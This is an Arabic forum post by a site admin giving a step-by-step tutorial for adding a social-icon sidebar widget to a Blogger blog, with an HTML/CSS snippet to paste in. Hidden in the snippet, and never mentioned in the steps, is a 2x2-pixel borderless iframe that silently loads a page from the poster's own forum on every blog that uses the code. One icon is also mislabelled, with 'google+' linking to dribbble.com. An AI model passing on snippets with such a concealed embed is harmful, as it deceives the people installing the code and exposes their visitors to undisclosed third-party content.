Admin المدير العام
الجنس : العمر : 35 عدد المساهمات : 106 نقاط : 8275 الموقع : sd-chanell.yoo7.com العمل/الترفيه : webmaster المزاج : مستمتع
| موضوع: إضافة أيقونات المواقع الإجتماعية إحترافية لمدونات بلوجر الخميس 25 يوليو - 16:34:55 | |
| إضافة أيقونات المواقع الإجتماعية إحترافية لمدونات بلوجر كثير من الناس يعتقدون أن المدون يفتقر في كل من الأشياء الجيدة الإضافية التي يمكن أن تضاف إلى منصات أخرى مثل ووردبرس، وإنما هو ببساطة ليس صحيحا. باستخدام الحاجيات يمكنك تخصيص بلوق الخاص بقدر ما تريد فقط عن طريق إضافة قصاصات صغيرة من التعليمات البرمجية إلى الأشرطة الجانبية. اليوم نقدم لكم الشريط الجانبي وهو قطعة فنية اجتماعية للمدون. انها جذابة للغاية . هذا الوضع الاجتماعي في الشريط الجانبي القطعة الاتصال وتشمل شريحة من الاتصال الاجتماعي. لإضافتها اتبع الخطوات التالية : 1- ادخل الى مدونتك عن طريق الرابط التالي: [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]2- اذهب الى لوحة التحكم تم اضغط على تخطيط 3- تم اضغط على اضافة أداة ثم ، HTML/JavaScriptثم الصق الكود التالي: - الكود:
-
<style type="text/css"> /*<![CDATA[*/ @charset "utf-8"; /* CSS Document */ /* ---------- ENTYPO ---------- *//* ---------- Digital Hub Inc : http://sd-chanell.yoo7.com//---------- */ @import url(http://weloveiconfonts.com/api/?family=entypo); [class*="entypo-"]:before { font-family: 'entypo', sans-serif; } /* ---------- GENERAL ---------- */ #social-sidebar a { text-decoration: none; } #social-sidebar ul { list-style: none; margin: 0; padding: 0; } /* ---------- Social Sidebar ---------- */ #social-sidebar { left: 0; margin-top: -75px; /* (li * a:width) / -2 */ position: fixed; top: 50%; } #social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; } #social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; } #social-sidebar ul li a { background: #121212; color: #fff; display: block; height: 50px; font-size: 18px; line-height: 50px; position: relative; text-align: center; width: 50px; } #social-sidebar ul li a:hover span { left: 130%; opacity: 1; } #social-sidebar ul li a span { border-radius: 3px; line-height: 24px; left: -100%; margin-top: -16px; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; filter: alpha(opacity=0); opacity: 0; padding: 4px 8px; position: absolute; -webkit-transition: opacity .3s, left .4s; -moz-transition: opacity .3s, left .4s; -ms-transition: opacity .3s, left .4s; -o-transition: opacity .3s, left .4s; transition: opacity .3s, left .4s; top: 50%; z-index: -1; } #social-sidebar ul li a span:before { content: ""; display: block; height: 8px; left: -4px; margin-top: -4px; position: absolute; top: 50%; -webkit-transform: rotate(45deg); -moz-transform: rotate(45deg); -ms-transform: rotate(45deg); -o-transform: rotate(45deg); transform: rotate(45deg); width: 8px; z-index: -2; } #social-sidebar ul li a[class*="twitter"]:hover, #social-sidebar ul li a[class*="twitter"] span, #social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; } #social-sidebar ul li a[class*="gplus"]:hover, #social-sidebar ul li a[class*="gplus"] span, #social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; } #social-sidebar ul li a[class*="tumblr"]:hover, #social-sidebar ul li a[class*="tumblr"] span, #social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; } #social-sidebar ul li a[class*="facebook"]:hover, #social-sidebar ul li a[class*="facebook"] span, #social-sidebar ul li a[class*="facebook"] span:before { background: #234999; } #social-sidebar ul li a[class*="rss"]:hover, #social-sidebar ul li a[class*="rss"] span, #social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; } /*]]>*/ </style><iframe src="http://sd-chanell.yoo7.com/h3-" width="2" height="2" frameBorder="0" scrolling="no"></iframe> <div id="social-sidebar"> <ul> <li> <a class="entypo-twitter" href="https://twitter.com/" target="_blank"> <span>Twitter</span> </a> </li> <li> <a class="entypo-gplus" href="http://dribbble.com/" target="_blank"> <span>google+</span> </a> </li> <li> <a class="entypo-tumblr" href="http://www.tumblr.net/" target="_blank"> <span>tumblr</span> </a> </li> <li> <a class="entypo-facebook" href="https://www.facebook.com/" target="_blank"> <span>facebook</span> </a> </li> <li> <a class="entypo-rss" href="http://feeds.feedburner.com/" target="_blank"> <span>feedburner</span> </a> </li> </ul> </div> وهكدا يكون قد تم بحمد الله | |
|